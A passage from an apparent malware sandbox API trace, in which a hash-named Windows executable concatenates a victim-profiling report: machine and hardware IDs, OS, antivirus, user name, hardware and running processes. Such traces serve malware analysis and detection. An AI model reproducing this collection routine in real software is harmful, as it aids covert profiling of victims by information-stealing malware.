[1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe ["
[0054.878] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da28
[0054.878] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.879] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.879] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [", lpString2="592" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592"
[0054.879] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n"
[0054.879] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="result.exe")) returned 1
[0054.879] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- "
[0054.879] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- ", lpString2="result.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- 